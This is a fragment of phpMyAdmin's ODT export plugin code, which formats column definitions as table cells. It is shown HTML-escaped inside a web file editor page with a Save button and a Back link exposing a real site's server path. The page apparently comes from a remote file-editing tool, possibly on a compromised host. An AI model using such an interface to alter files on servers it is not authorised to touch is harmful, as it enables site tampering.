                $this-&gt;getTableDefStandIn($db, $table, $crlf, $aliases);
        }

        return true;
    }

    /**
     * Formats the definition for one column
     *
     * @param array  $column info about this column
     * @param string $col_as column alias
     *
     * @return string Formatted column definition
     */
    protected function formatOneColumnDefinition($column, $col_as = &#039;&#039;)
    {
        if (empty($col_as)) {
            $col_as = $column[&#039;Field&#039;];
        }

        $definition = &#039;&lt;table:table-row&gt;&#039;;
        $definition .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . htmlspecialchars($col_as) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;;

        $extracted_columnspec = Util::extractColumnSpec($column[&#039;Type&#039;]);
        $type = htmlspecialchars($extracted_columnspec[&#039;print_type&#039;]);
        if (empty($type)) {
            $type = &#039;&amp;nbsp;&#039;;
        }

        $definition .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . htmlspecialchars($type) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;;
        if (! isset($column[&#039;Default&#039;])) {
            if ($column[&#039;Null&#039;] !== &#039;NO&#039;) {
                $column[&#039;Default&#039;] = &#039;NULL&#039;;
            } else {
                $column[&#039;Default&#039;] = &#039;&#039;;
            }
        }

        $definition .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039;
            . ($column[&#039;Null&#039;] == &#039;&#039; || $column[&#039;Null&#039;] === &#039;NO&#039;
                ? __(&#039;No&#039;)
                : __(&#039;Yes&#039;))
            . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;;
        $definition .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . htmlspecialchars($column[&#039;Default&#039;]) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;;

        return $definition;
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2Fclasses%2FPlugins%2FExport'>🔙 Back</a></p>